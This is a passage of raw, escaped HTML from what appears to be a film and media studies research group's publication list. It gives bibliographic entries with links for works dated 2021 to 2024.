vol. 10): 295-312, <a href=\"https:\/\/library.oapen.org\/handle\/20.500.12657\/89795\">Link<\/a>.<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Malte Hagener, Yvonne Zimmermann: <\/span><b>Introduction: Unpacking Film History\u2019s Own Histories. Towards an Archaeology of Film Historiography<\/b><span style=\"font-weight: 400;\">. In: Malte Hagener, Yvonne Zimmermann (eds.): <\/span><i><span style=\"font-weight: 400;\">How Film Histories Were Made. Materials, Methods, Discourses<\/span><\/i><span style=\"font-weight: 400;\">. Amsterdam: Amsterdam University Press 2024: 13-43, <a href=\"https:\/\/library.oapen.org\/handle\/20.500.12657\/85023\">Link<\/a>.<\/span><\/li>\n<\/ul>\n<hr \/>\n<hr \/>\n<h3>2023<\/h3>\n<hr \/>\n<hr \/>\n<ul>\n<li>Asja Makarevi\u0107: <strong>Lydia Papadimitrou and Ana Grgi\u0107 (eds.): Contemporary Balkan Cinema: Transnational Exchanges and Global Circuits <\/strong>[book review], in: <i>Apparatus. Film, Media and Digital Cultures of Central and Eastern Europe<\/i>, 16 (Juli) 2023, pp. 322, <a href=\"https:\/\/doi.org\/10.17892\/app.2023.00016.345\">Link<\/a>.<\/li>\n<li>Asja Makarevi\u0107; Clarissa Thieme: <strong>\u201c<\/strong><strong>Can\u2019t You See Them?\u2014Film Them.\u201d<\/strong> In: Vinzenz Hediger; Stefanie Schulte-Strathaus (Ed.): <em>Accidental Archivism. Shaping Cinema&#8217;s Futures with Remnants of the Past<\/em>, L\u00fcneburg: meson press, 2023, pp. 319-326, <a href=\"https:\/\/meson.press\/wp-content\/uploads\/2023\/05\/978-3-95796-054-2_Accidental_Archivism.pdf\">Link<\/a>.<\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Nils Meyn:<strong> Pleasure in\/of the Archive. Porn Workshops at the Schwules Museum<\/strong>, in: Vinzenz Hediger; Stefanie Schulte-Strathaus (ed.),<em> Accidental Archivism. Shaping Cinema&#8217;s Futures with Remnants of the<\/em> Past, L\u00fcneburg: meson press, 2023, pp. 319-326, <a href=\"https:\/\/archivism.meson.press\/chapters\/the-vast-domain-of-unseen-films-mapping-the-cinema-we-never-knew\/pleasure-in-of-the-archive-porn-workshops-at-the-schwules-museum\/\">Link<\/a>.<\/li>\n<li>Ritika Kaushik: <b>Pramod Pati\u2019s Film Experiments: Negotiating Film Form within Governmental Frameworks,<\/b> <a href=\"https:\/\/asapconnect.in\/post\/632\/singlestories\/pramod-pati-s-film-experiments\"><strong><i>ASAP | Art<\/i><\/strong><\/a>, 11.10.2023.<\/li>\n<li>Ritika Kaushik: <b>Madness and Mandates: Pramod Pati\u2019s Film Experiments,<\/b> <strong><a href=\"https:\/\/asapconnect.in\/post\/631\/singlestories\/madness-and-mandates\"><i>ASAP | Art<\/i><\/a><\/strong>, 09.10.2023.<\/li>\n<li>Ritika Kaushik: <b>Shah Rukh Khan: See Under Love<\/b>, in: <i>Tecmerin<\/i>: <i>Journal of Audiovisual Essays<\/i>, <i>Screen Actors Dictionary<\/i>, 12 December 2023<i>, <\/i><a href=\"https:\/\/tecmerin.uc3m.es\/project\/screen-stars-dictionary\/?lang=en\">Link.<\/a><\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Wanda Strauven; Anna Caterina Dalmasso; Simone Venturini: <b>Gravitational Fields. Attraction, Roundness, and Operationality of Immersive Images<\/b>, in: <i>Cin\u00e9ma &amp; Cie<\/i>, 40 (23) 2023, pp. 9-18, <a href=\"https:\/\/riviste.unimi.it\/index.php\/cinemaetcie\/article\/view\/20554\/18780\">Link<\/a>.<\/li>\n<li>Wanda Strauven; Anna Caterina Dalmasso; Simone Venturini (ed.): <b>Archaeologies of the Virtual. Materialities, Senses, Imaginaries<\/b>, Special issue of <i>Cin\u00e9ma &amp; Cie<\/i>, 40 (23) 2023, <a href=\"https:\/\/riviste.unimi.it\/index.php\/cinemaetcie\/issue\/view\/1998\">Link<\/a>.<\/li>\n<li>Alexander Stark:<br \/>\n<strong>Die \u201efilmende B\u00e4ckersfrau\u201d Elisabeth Wilms<\/strong>, Marburg: Sch\u00fcren, 2023, <a href=\"https:\/\/www.schueren-verlag.de\/programm\/titel\/753-die-filmende-baeckersfrau-elisabeth-wilms.html\">Link.<\/a><\/li>\n<li>Pavan Kumar Malreddy; Chijioke Onah: <b>Introduction. Civic Dissent and Violence in Nigeria. Literature, Film, and Media<\/b>, in: <i>Matatu. Journal for African Culture and Society <\/i>53 (2) 2023, pp. 155-17, <a href=\"https:\/\/brill.com\/view\/journals\/mata\/54\/2\/article-p155_1.xml\">Link<\/a>.<\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Pavan Kumar Malreddy: <b>Intimate Conflicts. Rebels, Heroes, and Disfigured Terrorists in Burmese Literature<\/b>, in: Michael C. Frank; Maria Flood (ed.), <i>The Figure of the Terrorist in Literature<\/i> <i>and Visual Culture<\/i>, Edinburgh: Edinburgh University, 2023, pp. 245-261, Link.<\/li>\n<li>Pavan Kumar Malreddy: <b>Salman Rushdie. Biography and Autobiography<\/b>, in: Florian Stadtler (ed.), <i>Salman Rushdie in Context<\/i>, Cambridge: Cambridge University Press, 2023, pp. 13-2, <a href=\"https:\/\/www.cambridge.org\/core\/books\/salman-rushdie-in-context\/6543E130764B80D84889D54D4C3C80D2#\">Link<\/a>.<\/li>\n<li>Ludwig Vogl-Bienek, Yvonne Zimmermann: <b>Paul Hoffmann (1829 \u2013 1888) \u2013 Screen Practitioner and Media-Entrepreneur. Formation and Practices of a 19th Century Travelling Lantern Lecturer<\/b>, in: <i>Le Temps des M\u00e9dias,<\/i> 41 2023, pp. 36-53.<\/li>\n<li>Theresa Blaschke, Josephine Diecke, Malte Hagener, Kai Matuszkiewicz, Yvonne Zimmermann: <b>Die Vermessung der medienwissenschaftlichen Welt? Datengest\u00fctzte Analysen mit media\/rep\/<\/b>, <a href=\"https:\/\/zfmedienwissenschaft.de\/online\/die-vermessung-der-medienwissenschaftlichen-welt\"><i>zfm. Zeitschrift f\u00fcr Medienwissenschaft<\/i><\/a>, 07.12.2023.<\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Vinzenz Hediger, Florian Hoof, Yvonne Zimmermann (ed.): <strong>Films That Work Harder: <\/strong><strong>The Circulation of Industrial Film, <\/strong>Amsterdam: Amsterdam University Press, 2023, <a href=\"https:\/\/library.oapen.org\/handle\/20.500.12657\/86229\">Open Access Link.<\/a><\/li>\n<li>Laliv Melamed:<strong> Sovereign Intimacy: Private Media and the Traces of Colonial Violence, <\/strong>Oakland, California: University of California Press, 2023, <a href=\"https:\/\/doi.org\/10.1525\/9780520390317\">Link.<\/a><\/li>\n<li>Alexander Stark: <strong>Die \u201efilmende B\u00e4ckersfrau\u201d Elisabeth Wilms<\/strong>, Marburg: Sch\u00fcren, 2023, <a href=\"https:\/\/www.schueren-verlag.de\/programm\/titel\/753-die-filmende-baeckersfrau-elisabeth-wilms.html\">Link.<\/a><\/li>\n<li><span style=\"font-weight: 400;\">Clara Podlesnigg: <\/span><b>Das Tutorial als Szenario versp\u00e4teter Zukunftsversprechen. DIY Hologramme auf YouTube<\/b><span style=\"font-weight: 400;\">, in: <\/span><i><span style=\"font-weight: 400;\">ffk journal<\/span><\/i><span style=\"font-weight: 400;\"><span style=\"font-weight: 400;\"> (8) 2023, pp. 151\u2013169, <a href=\"http:\/\/ffk-journal.de\/?journal=ffk-journal&amp;page=article&amp;op=view&amp;path%5B%5D=193\">Link<\/a>.<\/span><\/span><\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li><span style=\"font-weight: 400;\">Jana Z\u00fcndel:<br \/>\n<\/span><b>\u00c4sthetik des Anfangens<\/b><span style=\"font-weight: 400;\">. in: Sven Grampp; Olga Moskatova (ed.): <\/span><i><span style=\"font-weight: 400;\">Handbuch Televisuelle Serialit\u00e4t,<\/span><\/i><span style=\"font-weight: 400;\"> Wiesbaden: Springer 2023, pp. 1\u201326, <a href=\"https:\/\/link.springer.com\/referenceworkentry\/10.1007\/978-3-658-35305-6_19-1\">Link.<\/a><\/span><\/li>\n<li><span style=\"font-weight: 400;\">Jana Z\u00fcndel:<br \/>\n<\/span><b>Streamen<\/b><span style=\"font-weight: 400;\">. Sven Grampp; Olga Moskatova (ed.): <\/span><i><span style=\"font-weight: 400;\">Handbuch Televisuelle Serialit\u00e4t,<\/span><\/i><span style=\"font-weight: 400;\"><span style=\"font-weight: 400;\"> Wiesbaden: Springer 2023, pp. 1\u201320, <a href=\"https:\/\/link.springer.com\/referenceworkentry\/10.1007\/978-3-658-35305-6_38-1\">Link.<\/a><\/span><\/span><\/li>\n<li><span style=\"font-weight: 400;\">Christian Alexius:<br \/>\n<strong>Mit Franz Kafka im Wachsfigurenkabinett des Dr. Caligari: Ein cinephiler Fancomic von SeSar und seine Funktion als Ged\u00e4chtnisraum<\/strong>, in: <\/span><i><span style=\"font-weight: 400;\">apropos [Perspektiven auf die Romania]<\/span><\/i><span style=\"font-weight: 400;\">, 10 (6) 2023, S. 94-115, <\/span><a href=\"https:\/\/journals.sub.uni-hamburg.de\/apropos\/article\/view\/1960\"><span style=\"font-weight: 400;\">Link<\/span><\/a><span style=\"font-weight: 400;\">.<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Katharina Jost: <\/span><b>Laterna magica \u2013 die \u00c4gyptenkisten der Sammlung Holzhey \/ Baumer, <\/b><b><i>Podcast\/\/Filmgeschichte in Objekten,<\/i><\/b> DFF (Frankfurt), 06.11.2023, (german only), <a href=\"https:\/\/www.dff.film\/podcast-filmgeschichte-in-objekten-laterna-magica-die-aegyptenkisten-der-sammlung-holzhey-baumer\/\">Link<\/a>.<\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li><span style=\"font-weight: 400;\">Katharina Jost: <\/span><b>La Lanterne Magique. <\/b><b>Projektion und Performance. M\u00e9li\u00e8s \u201eTrickfilm\u201c als Zeugnis multimedialer Auff\u00fchrungspraktiken um 1900, <\/b><b><i>Vor<\/i><\/b><b><i>\u2013<\/i><\/b><b><i> und Fr\u00fchgeschichte des Kinos<\/i><\/b><b>,<\/b> 2023, <a href=\"https:\/\/blog.studiumdigitale.uni-frankfurt.de\/dr-vor-frueh\/test\/#jost\">Link<\/a>.<\/li>\n<li><span style=\"font-weight: 400;\">Josefine Hetterich: <\/span><b>Untimely Nostalgia &amp; Queer Love in the AIDS Archive<\/b><span style=\"font-weight: 400;\">, in: Kathrin Dreckmann; Elfi Vomberg (ed.), <\/span><i><span style=\"font-weight: 400;\">Fringe of the Fringe: Queering Punk Media History<\/span><\/i><span style=\"font-weight: 400;\">, Berlin: Hatje Cantz, 2023, pp. 150\u201361, <a href=\"https:\/\/www.hatjecantz.de\/products\/63923-fringe-of-the-fringe?article_id=8354&amp;clang=0\">Link<\/a><\/span><span style=\"font-weight: 400;\">.<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Josefine Hetterich, Lisa Brunke, Mareike Gronich, Stephanie Marx: <\/span><b>Von M\u00fcttern, H\u00e4usern Und F\u00fcrsorge: Ein Gespr\u00e4ch \u00dcber Die Serie Pose<\/b><span style=\"font-weight: 400;\">, in: Undercurrents \u2013 Forum F\u00fcr Linke Literaturwissenschaft (ed.), <\/span><i><span style=\"font-weight: 400;\">Literatur und Care<\/span><\/i><span style=\"font-weight: 400;\">, Berlin: Verbrecher Verlag, 2023, pp.185-196, <a href=\"https:\/\/undercurrentsforum.com\/index.php\/undercurrents\/issue\/view\/18\">Link<\/a><\/span><span style=\"font-weight: 400;\">.<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Laura Laabs, Clara Podlesnigg: <\/span><b>Foreword<\/b><span style=\"font-weight: 400;\">, in: Shane Denson, <\/span><i><span style=\"font-weight: 400;\">Post-Cinematic Bodies<\/span><\/i><span style=\"font-weight: 400;\">, L\u00fcneburg: Meson Press, 2023, S. 9\u201320, <a href=\"https:\/\/meson.press\/books\/post-cinematic-bodies\/\">Link<\/a><\/span><span style=\"font-weight: 400;\">.<\/span><\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li><span style=\"font-weight: 400;\">Josefine Hetterich: <\/span><b>Queer Reproduction: AIDS Activist Pasts &amp; Futurity in POSE<\/b><span style=\"font-weight: 400;\">, in: Kathrin Dreckmann; Bettina Papenburg (ed.), <\/span><i><span style=\"font-weight: 400;\">Queer Pop: Aesthetic Interventions in Contemporary Culture<\/span><\/i><span style=\"font-weight: 400;\">, Berlin: De Gruyter, forthcoming in 2024, <a href=\"https:\/\/www.degruyter.com\/document\/isbn\/9783111013435\/html?lang=de\">Link<\/a><\/span><span style=\"font-weight: 400;\">.<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Laura Laabs: <\/span><b>\u201cNintendo What Nintendon\u2019t\u201d. Sexualisierte Konsolenwerbung, die Maskulinit\u00e4t des Gamers und #Gamergate<\/b><span style=\"font-weight: 400;\">, in: Arno G\u00f6rgen; Tobias Unterhuber (eds.), <\/span><i><span style=\"font-weight: 400;\">Politiken des (digitalen) Spiels. Transdisziplin\u00e4re Perspektiven<\/span><\/i><span style=\"font-weight: 400;\">, Bielefeld: Transcript, 2023, pp. 103<\/span><span style=\"font-weight: 400;\">\u2013119, <a href=\"https:\/\/www.transcript-verlag.de\/978-3-8376-6790-5\/politiken-des-digitalen-spiels\">Link<\/a><\/span><span style=\"font-weight: 400;\">.<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Verena Mund: <strong>An der Kochshow-Theke. Julia Child, <\/strong><\/span><strong><i>housewives <\/i>und <i>real cooks<\/i><\/strong><span style=\"font-weight: 400;\">, in: Eva Kuhn (ed.), Feministische \u00d6konomien und Zeitlichkeit (= Frauen und Film, no. 17, 10\/2023), Berlin: Aviva 2023, pp. 120-134.<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Sema \u00c7akmak: <\/span><b>Pembe Hayat Kuirfest: Film Festival Activism Between Social and Economic Sustainability<\/b><span style=\"font-weight: 400;\">, in: Hakan Erk\u0131l\u0131\u00e7 (ed.), <\/span><i><span style=\"font-weight: 400;\">Film Festivalleri Kitab\u0131 II<\/span><\/i><span style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">, Doruk Yay\u0131mc\u0131l\u0131k, 2023, pp. 17-36.<\/span><\/span><\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li><span style=\"font-weight: 400;\">Amrita Biswas:<br \/>\n<\/span><b>A Cartography of Goa: An Analysis of the Tangible Loci of Culture in the Sketches of Mario Miranda,<\/b><span style=\"font-weight: 400;\"> in: Parichay Patra and Amitendu Bhattacharya (eds.), <\/span><i><span style=\"font-weight: 400;\">Frontiers of South Asian Culture<\/span><\/i><span style=\"font-weight: 400;\">:<\/span><i><span style=\"font-weight: 400;\"> Nation, Trans-Nation and Beyond,<\/span><\/i><span style=\"font-weight: 400;\"> Oxfordshire: Routledge, 2023.<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Amrita Biswas:<br \/>\n<b>Collaborative Dialogues and Calcutta\u2019s Super 8 Film Movement<\/b>, in: Stefanie Schulte Strathaus and Vinzenz Hediger (eds.), <i>Accidental Archivism<\/i>, L\u00fcneburg: Meson Press, 2023, <a href=\"https:\/\/archivism.meson.press\/chapters\/cinekinships-creating-new-networks-of-film-culture\/collaborative-dialogues-and-calcuttas-super-8-film-movement\/\">Link.<\/a><\/span><\/li>\n<li><span style=\"font-weight: 400;\">Ritika Kaushik:<\/span><b><br \/>\n<\/b><b>Indians from 1967: A Reaction, <\/b>in: <i><span style=\"font-weight: 400;\">NECSUS, <\/span><\/i><span style=\"font-weight: 400;\">\u00a0#Ports, Spring 2023, <a href=\"https:\/\/necsus-ejms.org\/indians-from-1967-a-reaction\/\">Link.<\/a><\/span><\/li>\n<li><span style=\"font-weight: 400;\">Ritika Kaushik:<br \/>\n<\/span><b>Destabilizing the Official Film Archive from Within: S.N.S. Sastry\u2019s <\/b><b><i>And I Make Short Films<\/i><\/b><span style=\"font-weight: 400;\">, in: Stefanie Schulte Strathaus and Vinzenz Hediger (eds.), <\/span><i><span style=\"font-weight: 400;\">Accidental Archivism<\/span><\/i><span style=\"font-weight: 400;\">, L\u00fcneburg: Meson Press, 2023, <a href=\"https:\/\/archivism.meson.press\/chapters\/cinekinships-creating-new-networks-of-film-culture\/destabilizing-the-official-film-archive-from-within-s-n-s-sastrys-and-i-make-short-films\/.\">Link.<\/a><\/span><\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li><span style=\"font-weight: 400;\">Sema \u00c7akmak: <\/span><b>Pirated Lubunca Films: Lambdaistanbul\u2019s Counter-archival Practices<\/b><span style=\"font-weight: 400;\">, in: Vinzenz Hediger; Stefanie Schulte Strathaus (eds.), <\/span><i><span style=\"font-weight: 400;\">Accidental <\/span><\/i><i>Archivism<\/i>, L\u00fcneburg: meson press, 2023, <a href=\"https:\/\/archivism.meson.press\/chapters\/new-archival-spaces-and-places-of-cinema\/pirated-lubunca-films-lambdaistanbuls-counter-archival-practices\/\">Link<\/a>.<\/li>\n<li><span style=\"font-weight: 400;\">Fairfax, Daniel: <strong>\u201cPeut-on d\u00e9fendre le \u00ab Front Culturel R\u00e9volutionnaire \u00bb ? Les Cahiers du Cin\u00e9ma et l\u2019engagement mao\u00efste\u201d,<\/strong> in: Cin\u00e9ma, marxisme, mat\u00e9rialisme: Pour une critique du cin\u00e9ma, eds. Sebastien Layerle and Val\u00e9rie Vignaux (\u00c9ditions Mimesis, 2023).<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Fairfax, Daniel: <strong>\u201cDas dritte Bild: dialektische Montage und 3D-Kino in Adieu au langage von Jean-Luc Godard\u201d,<\/strong> in: eds. Vinzenz Hediger and Rembert H\u00fcser: Jean-Luc Godard: Film denken nach der Geschichte des Kinos, Fink, Stuttgart, 2023, pp. 267-277.<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Malte Hagener, Theresa Blaschke, Josephine Diecke, Kai Matuszkiewicz, Yvonne Zimmermann: <\/span><b>Die Vermessung der medienwissenschaftlichen Welt? Datengest\u00fctzte Analyse mit media\/rep\/<\/b><span style=\"font-weight: 400;\">. In: <\/span><i><span style=\"font-weight: 400;\">Zeitschrift f\u00fcr Medienwissenschaft<\/span><\/i><span style=\"font-weight: 400;\">, (11.12.2023,Methoden-Debatte), <a href=\"https:\/\/zfmedienwissenschaft.de\/online\/die-vermessung-der-medienwissenschaftlichen-welt\">Link.<\/a><br \/>\n<\/span><\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Malte Hagener, Alexandra Schneider: <b>Data Papers \u2013 An Introduction<\/b>. In: <i>Necsus \u2013 European Journal of Media Studies<\/i>, spring 2023, <a href=\"https:\/\/necsus-ejms.org\/data-papers-an-introduction\/\">Link<\/a>.<\/li>\n<li><span style=\"font-weight: 400;\">Malte Hagener: <\/span><b>Der bewegte Mann. Popul\u00e4re Traditionen, performative Selbstwiderspr\u00fcche<\/b><span style=\"font-weight: 400;\">. In: Corina Erk, Matteo Galli, J\u00f6rn Glasenapp (eds.): <\/span><i><span style=\"font-weight: 400;\">Lola, Toni, Yella und die anderen: Der deutsche Film nach 1990.<\/span><\/i><span style=\"font-weight: 400;\"> Ein Kanon. Paderborn: Brill Fink 2023: 5-16.<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Malte Hagener, Ainamar Clariana-Rodagut: <\/span><b>Transnational Networks of Avantgarde Film in the Interwar Period<\/b><span style=\"font-weight: 400;\">. In: Diana Roig-Sanz, Neus Rotger (eds.): <\/span><i><span style=\"font-weight: 400;\">Global Literary Studies<\/span><\/i><span style=\"font-weight: 400;\">. Berlin: de Gruyter 2023: 253-278.<\/span><\/li>\n<\/ul>\n<hr \/>\n<hr \/>\n<h3>2022<\/h3>\n<hr \/>\n<hr \/>\n<ul>\n<li>Andrea Polywka: <b>Animationstechnologien im Making-of zu Jon Favreaus <em>The Lion King<\/em> (USA 2019)<\/b>, in: <i>Rabbit Eye \u2013 Zeitschrift f\u00fcr Filmforschung<\/i>, 12 2022, pp. 52\u201364, <a href=\"http:\/\/www.rabbiteye.de\/2022\/12\/polywka_lion-king.pdf\">Link<\/a>.<\/li>\n<li>Andrea Polywka, zus. mit Martin Albrecht-Hohmaier; Katharina, Bergmann; Christoph Eggersgl\u00fc\u00df; Alexander Stark: <strong>Kulturwissenschaftliche Forschungsdaten \u2013 eine Einf\u00fchrung (1.0.0)<\/strong> [Data set], <strong><a href=\"https:\/\/zenodo.org\/records\/7194267\">Zenodo<\/a><\/strong>, 2022.<\/li>\n<li>Pablo\u202fGonzalez\u202fRamalho: <strong>When Everything is Said: Eisenstein\u2019s Stone Lion in Histoire(s) du cin\u00e9ma and Godardian Historiography<\/strong>, in: <em>Senses of Cinema,<\/em>\u00a0100 (100)\u202f2022 (Forms That Think: Jean\u2011Luc Godard), <a href=\"https:\/\/www.sensesofcinema.com\/2022\/forms-that-think-jean-luc-godard\/when-everything-is-said-eisensteins-stone-lion-in-histoires-du-cinema-and-godardian-historiography\/\">Link.<\/a><\/li>\n<li>Rebecca Boguska: <b><i>Guant\u00e1namo Frames<\/i><\/b><b>.<\/b> L\u00fcneburg: meson press, 2022, <a href=\"https:\/\/meson.press\/books\/guantanamo-frames\/\">Link.<\/a><\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Malte Hagener; Annie van den Oever: <b>The Past Is Always Changing. An Interview with Tom Gunning<\/b><strong>, in:<\/strong> <i>Necsus \u2013 European Journal of Media Studies<\/i>, 11 2022, pp. 150-174, <a href=\"https:\/\/necsus-ejms.org\/the-past-is-always-changing-an-interview-with-tom-gunning\/?fbclid=IwAR0F3II8VztYOmIQya15nGEAZ5wolDfD5pqtUSiUSoofZ3CyTosv5wlWs48\">Link<\/a>.<\/li>\n<li>Malte Hagener: <b>Animationstheorien<\/b>, in: Franziska Bruckner; Julia Eckel; Erwin Feyersinger; Maike Sarah Reinerth (ed.): <i>Handbuch Animation Studies,<\/i> Wiesbaden: Springer, 2022, <a href=\"https:\/\/doi.org\/10.1007\/978-3-658-25978-5_4-1#DOI\">Link<\/a>.<\/li>\n<li><span style=\"font-weight: 400;\">Daniel Fairfax:<br \/>\n<\/span><b>Socialists Should Watch the Films of Jean-Luc Godard<\/b><span style=\"font-weight: 400;\">, <\/span><i><span style=\"font-weight: 400;\">Jacobin<\/span><\/i><span style=\"font-weight: 400;\">, September 19, 2022, <a href=\"https:\/\/jacobin.com\/2022\/09\/jean-luc-godard-obituary\">Link.<\/a><\/span><\/li>\n<li><span style=\"font-weight: 400;\">Daniel Fairfax:<br \/>\n<\/span><b>Man of Cinema: Jean-Louis Comolli (July 30, 1941-May 19, 2022)<\/b><span style=\"font-weight: 400;\">, <\/span><i><span style=\"font-weight: 400;\">Senses of Cinema,<\/span><\/i><span style=\"font-weight: 400;\"> 102<\/span><span style=\"font-weight: 400;\">, July 2022, <a href=\"https:\/\/www.sensesofcinema.com\/2022\/obituary\/man-of-cinema-jean-louis-comolli-july-30-1941-may-19-2022\/\">Link.<\/a><\/span><\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li><span style=\"font-weight: 400;\">Daniel Fairfax:<br \/>\n<\/span><b>New Relations between Forms: <\/b><b><i>Luttes en Italie<\/i><\/b><span style=\"font-weight: 400;\">, <\/span><i><span style=\"font-weight: 400;\">Senses of Cinema,<\/span><\/i><span style=\"font-weight: 400;\"> 100<\/span><span style=\"font-weight: 400;\">, February 2022, <a href=\"http:\/\/www.sensesofcinema.com\/2022\/forms-that-think-jean-luc-godard\/new-relations-between-forms-luttes-en-italie\/\">Link.<\/a><\/span><\/li>\n<li>Daniel Fairfax: <strong>Highways Through the Void: Reading Theory of Film in 2022<\/strong>, in: Leonie Hunter; Felix Trautmann (ed.): Im Sinne der Materialit\u00e4t: Film und Gesellschaft nach Siegfried Kracauer, Berlin: Bertz + Fischer, 2022, pp. 185-201.<\/li>\n<li>Christian Alexius:<b><br \/>\nComicforschung und Filmwissenschaft. Wechselwirkungen, ausgelassene Pfade und m\u00f6gliche Wege in eine gemeinsame Interdisziplinarit\u00e4t<\/b>, in: <i>MEDIENwissenschaft: Rezensionen | Reviews<\/i>, 1 (39) 2022, pp. 7\u201324, <a href=\"https:\/\/mediarep.org\/bitstream\/handle\/doc\/19053\/MEDREZ_2022_1_7-24_Alexius-Filmwissenschaft-Comicforschung__.pdf?sequence=2&amp;isAllowed=y\" target=\"_blank\" rel=\"noopener\">Link<\/a>.<\/li>\n<li>Christian Alexius:<br \/>\n<strong>Die Eisenbahn im Film. Protokinematografisches Ph\u00e4nomen und motivische Konstante<\/strong>, in: Oksana Bulgakowa; Roman Mauer (ed.): <em>Dinge im Film. Stummer Monolog, verborgenes Ged\u00e4chtnis,<\/em> Wiesbaden: Springer VS, 2022, pp. 285-308, <a href=\"https:\/\/link.springer.com\/chapter\/10.1007\/978-3-658-35261-5_13\" target=\"_blank\" rel=\"noopener\">Link<\/a>.<\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li><span style=\"font-weight: 400;\">Amrita Biswas:<br \/>\n<\/span><b>Super-8 in Calcutta: Analysis of a &#8220;Failed&#8221; Movement<\/b><span style=\"font-weight: 400;\">, in: <\/span><i><span style=\"font-weight: 400;\">Iluminace,<\/span><\/i><span style=\"font-weight: 400;\"> 34 (1), 2022,pp. 31-51.<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Pavan Kumar Malreddy: <\/span><b>Bound by Conflict. The State, the Street and Organized Distrust in India\u2019s Communal Violence<\/b><span style=\"font-weight: 400;\">, in:<\/span> <a href=\"https:\/\/www.campus.de\/produkt-detail\/westend_2_2022_vergemeinschaftung_durch_misstrauen-17302.html\"><i><span style=\"font-weight: 400;\">Westend<\/span><\/i><\/a><i><span style=\"font-weight: 400;\">. Neue Zeitschrift f\u00fcr Sozialforschung <\/span><\/i><span style=\"font-weight: 400;\">2 (22) 2022, pp. 97-105.<\/span><\/li>\n<li>Kerim Dogruel:<br \/>\n<b>Gl\u00e4nzende Zuk\u00fcnfte. Kristalline Versprechen des Computerspiels<\/b>, in: Hooffacker, Gabriele;Bigl, Benjamin (eds.): Science MashUp: XR \u2013 Gesellschaft \u2013 Utopien : Leipziger Beitr\u00e4ge zur Computerspielekultur. Wiesbaden: Springer VS, 2022, pp.\u00a0 61-78.<\/li>\n<li><span style=\"font-weight: 400;\">Verena Mund:<br \/>\n<strong>Fritzi Massary.<\/strong><\/span> <span style=\"font-weight: 400;\"><strong>520 North Canon Drive, Berverly Hills<\/strong>, in:\u00a0 Blaumer, Nicolai; Herz, Benno (eds.), <\/span><i><span style=\"font-weight: 400;\">Thomas Mann&#8217;s Los Angeles. Stories from Exiles 1940-1952<\/span><\/i><span style=\"font-weight: 400;\">, Los Angeles: Angel City Press 2022, pp. 90-91.<\/span><\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li><b><span style=\"font-weight: 400;\">Jana Z\u00fcndel:<br \/>\n<b>Fernsehserien im medienkulturellen Wandel<\/b>, K\u00f6ln: Herbert von Halem, 2022, <a href=\"https:\/\/www.halem-verlag.de\/produkt\/fernsehserien-im-medienkulturellen-wandel\/\">Link.<\/a>\u00a0<\/span><\/b><\/li>\n<li><b><span style=\"font-weight: 400;\">Jana Z\u00fcndel:<br \/>\n<\/span><\/b><b>The Messiness of Memes. Versuch \u00fcber ein unordentliches Bildph\u00e4nomen<\/b><span style=\"font-weight: 400;\">, in: <\/span><em><span style=\"font-weight: 400;\">Montage AV<\/span><\/em><span style=\"font-weight: 400;\">, 31 (1), 2022, S. 115-124.<\/span><\/li>\n<li>Nicole Braida:<br \/>\n<b>Migrating Through the Web. Interactive Practices About Migration, Flight and Exile, <\/b>Bielefeld: Transcript Verlag, 2022, <a href=\"https:\/\/www.transcript-verlag.de\/978-3-8376-6039-5\/migrating-through-the-web\/?c=310000019\">Link.<\/a><\/li>\n<li>Rebecca Boguska:<br \/>\n<strong>Guant\u00e1namo Frames<\/strong>, L\u00fcneburg: meson press, 2022, <a href=\"https:\/\/meson.press\/wp-content\/uploads\/2022\/10\/978-3-95796-207-2_Boguska.pdf.\">Link.<\/a><\/li>\n<\/ul>\n<hr \/>\n<hr \/>\n<h3>2021<\/h3>\n<hr \/>\n<hr \/>\n<ul>\n<li><span style=\"font-weight: 400;\">Amrita Biswas, Johanna Laub:<br \/>\n<\/span><b>Introduction: Dialogic Encounters- Thinking through Archival Images<\/b>, in: <i>Who Owns the Images?<\/i>, Luneburg: Meson Press, 2021, pp. 11-22, <a href=\"https:\/\/meson.press\/books\/who-owns-the-images\/\" target=\"_blank\" rel=\"noopener\">Link<\/a>.<\/li>\n<\/ul>\n<ul>\n<li><span style=\"font-weight: 400;\">Laura Teixeira:<br \/>\n<\/span><b>Conference Review: Histories of Tacit Cinematic Knowledge<\/b><span style=\"font-weight: 400;\">, in: <\/span><i><span style=\"font-weight: 400;\">Cin\u00e9ma &amp; Cie. International Film Studies Journal<\/span><\/i><span style=\"font-weight: 400;\">, 35 (XX) 2020\/2021, pp. 155-157, <a href=\"https:\/\/www.cinemaetcie.net\/issue35\">Link<\/a>.<\/span><\/li>\n<li>Philipp Dominik Keidl:<br \/>\n<b>Useful Cinema and its Institutional Contexts: Archival Finding Aid Research Assignments<\/b>, in:\u00a0<i>JCMS Teaching Dossier<\/i> (online), Winter 2021, <a href=\"https:\/\/quod.lib.umich.edu\/cgi\/t\/text\/idx\/j\/jcms\/18261332.0060.604\/--useful-cinema-and-its-institutional-contexts-archival?rgn=main;view=fulltext\" target=\"_blank\" rel=\"noopener\">Link<\/a>.<\/li>\n<li>Polywka, Andrea: &#8220;<b>A Technical Marvel&#8221;. Einsatz, Transparenz und Rezeption von Animationstechniken in King Kong<\/b>, in: Franziska, 